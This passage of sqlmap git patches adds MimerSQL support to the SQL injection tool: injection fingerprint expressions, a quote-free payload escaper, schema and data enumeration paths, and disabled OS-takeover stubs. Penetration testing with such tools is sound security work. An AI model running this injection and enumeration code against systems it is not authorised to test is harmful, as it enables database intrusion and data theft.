VERSION, TYPE) @@ -683,7 +683,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2 SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows -HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 70b008e79..fff9bdbd6 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -727,21 +727,31 @@ def attackDumpedTable(): table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): + """ + >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC + True + >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE + True + >>> hashRecognition("foobar") == None + True + """ + retVal = None - isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) + if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) + isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, six.string_types): - for name, regex in getPublicTypeMembers(HASH): - # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: - continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): + if isinstance(value, six.string_types): + for name, regex in getPublicTypeMembers(HASH): + # Hashes for Oracle and old MySQL look the same hence these checks + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif re.match(regex, value): - retVal = regex - break + elif regex == HASH.CRYPT_GENERIC: + if any((value.lower() == value, value.upper() == value)): + continue + elif re.match(regex, value): + retVal = regex + break return retVal From 421f1878e39e72bda99b954970223c03fe1c264d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 11:33:31 +0100 Subject: [PATCH 120/159] Adding support for MimerSQL --- data/xml/errors.xml | 6 ++ data/xml/queries.xml | 70 +++++++++++++++++++++ lib/controller/handler.py | 4 ++ lib/core/agent.py | 4 +- lib/core/common.py | 4 +- lib/core/dicts.py | 4 ++ lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 4 +- lib/request/inject.py | 2 +- lib/utils/deps.py | 2 + plugins/dbms/mimersql/__init__.py | 30 +++++++++ plugins/dbms/mimersql/connector.py | 59 +++++++++++++++++ plugins/dbms/mimersql/enumeration.py | 32 ++++++++++ plugins/dbms/mimersql/filesystem.py | 11 ++++ plugins/dbms/mimersql/fingerprint.py | 94 ++++++++++++++++++++++++++++ plugins/dbms/mimersql/syntax.py | 23 +++++++ plugins/dbms/mimersql/takeover.py | 28 +++++++++ plugins/generic/databases.py | 12 ++-- plugins/generic/entries.py | 8 ++- plugins/generic/users.py | 4 +- 21 files changed, 387 insertions(+), 18 deletions(-) create mode 100644 plugins/dbms/mimersql/__init__.py create mode 100644 plugins/dbms/mimersql/connector.py create mode 100644 plugins/dbms/mimersql/enumeration.py create mode 100644 plugins/dbms/mimersql/filesystem.py create mode 100644 plugins/dbms/mimersql/fingerprint.py create mode 100644 plugins/dbms/mimersql/syntax.py create mode 100644 plugins/dbms/mimersql/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 3e9cbe545..f2c41c2df 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -215,4 +215,10 @@ + + + + + + diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 7be42a59f..7b15c3641 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1264,4 +1264,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 2f5a95e4e..7d45e478d 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -21,6 +21,7 @@ from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES @@ -52,6 +53,8 @@ from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.maxdb import MaxDBMap from plugins.dbms.mckoi.connector import Connector as MckoiConn from plugins.dbms.mckoi import MckoiMap +from plugins.dbms.mimersql.connector import Connector as MimerSQLConn +from plugins.dbms.mimersql import MimerSQLMap from plugins.dbms.monetdb.connector import Connector as MonetDBConn from plugins.dbms.monetdb import MonetDBMap from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn @@ -97,6 +100,7 @@ def setHandler(): (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), + (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index 823af4ee6..aad9db4b0 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -659,7 +659,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -948,7 +948,7 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO,): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 4e66d778e..7c02d6949 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4074,7 +4074,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if isTable: @@ -4112,7 +4112,7 @@ def unsafeSQLIdentificatorNaming(name): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 1d4b2481f..d407d14df 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -20,6 +20,7 @@ from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES @@ -210,6 +211,7 @@ DBMS_DICT = { DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), + DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -222,6 +224,7 @@ FROM_DUMMY_TABLE = { DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", + DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", } HEURISTIC_NULL_EVAL = { @@ -238,6 +241,7 @@ HEURISTIC_NULL_EVAL = { DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", + DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL", } SQL_STATEMENTS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index d9e3176f3..007b4d09b 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -168,7 +168,7 @@ class Dump(object): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL): self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 4f22cf412..1aa1e28c5 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -51,6 +51,7 @@ class DBMS(object): MCKOI = "Mckoi" PRESTO = "Presto" ALTIBASE = "Altibase" + MIMERSQL = "MimerSQL" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -72,6 +73,7 @@ class DBMS_DIRECTORY_NAME(object): MCKOI = "mckoi" PRESTO = "presto" ALTIBASE = "altibase" + MIMERSQL = "mimersql" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index bf83ea958..c35c4f602 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.61" +VERSION = "1.4.1.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -265,6 +265,7 @@ VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) +MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -286,6 +287,7 @@ VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) +MIMERSQL_ALIASES = ("mimersql", "mimer") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) diff --git a/lib/request/inject.py b/lib/request/inject.py index cf42b3347..bc7a787d7 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -496,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI) else "" + warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 19fab922f..85e06d743 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -54,6 +54,8 @@ def checkDependencies(): __import__("vertica_python") elif dbmsName == DBMS.PRESTO: __import__("prestodb") + elif dbmsName == DBMS.MIMERSQL: + __import__("mimerpy") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py new file mode 100644 index 000000000..c6ae72404 --- /dev/null +++ b/plugins/dbms/mimersql/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MIMERSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mimersql.enumeration import Enumeration +from plugins.dbms.mimersql.filesystem import Filesystem +from plugins.dbms.mimersql.fingerprint import Fingerprint +from plugins.dbms.mimersql.syntax import Syntax +from plugins.dbms.mimersql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MimerSQL methods + """ + + def __init__(self): + self.excludeDbsList = MIMERSQL_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MIMERSQL] = Syntax.escape diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py new file mode 100644 index 000000000..41af175e7 --- /dev/null +++ b/plugins/dbms/mimersql/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import mimerpy +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/mimersql/MimerPy + User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except mimerpy.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except mimerpy.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except mimerpy.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py new file mode 100644 index 000000000..32a4b3d86 --- /dev/null +++ b/plugins/dbms/mimersql/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MimerSQL it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on MimerSQL it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MimerSQL it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/mimersql/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py new file mode 100644 index 000000000..a4c3de133 --- /dev/null +++ b/plugins/dbms/mimersql/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MIMERSQL_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MIMERSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MIMERSQL + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IRAND()>=0") + + if result: + infoMsg = "confirming %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py new file mode 100644 index 000000000..04996ac25 --- /dev/null +++ b/plugins/dbms/mimersql/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py new file mode 100644 index 000000000..d78bfb39b --- /dev/null +++ b/plugins/dbms/mimersql/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 2786931d6..2437cb3fe 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -82,7 +82,7 @@ class Databases(object): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -107,7 +107,7 @@ class Databases(object): warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -606,7 +606,7 @@ class Databases(object): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -748,7 +748,7 @@ class Databases(object): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -822,7 +822,7 @@ class Databases(object): elif Backend.isDbms(DBMS.MONETDB): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None @@ -863,7 +863,7 @@ class Databases(object): if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index da60c5ea0..c6fc7677a 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -177,7 +177,7 @@ class Entries(object): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI): query = rootQuery.inband.query % (colString, tbl) @@ -286,7 +286,7 @@ class Entries(object): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI): query = rootQuery.blind.count % tbl @@ -408,8 +408,10 @@ class Entries(object): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), 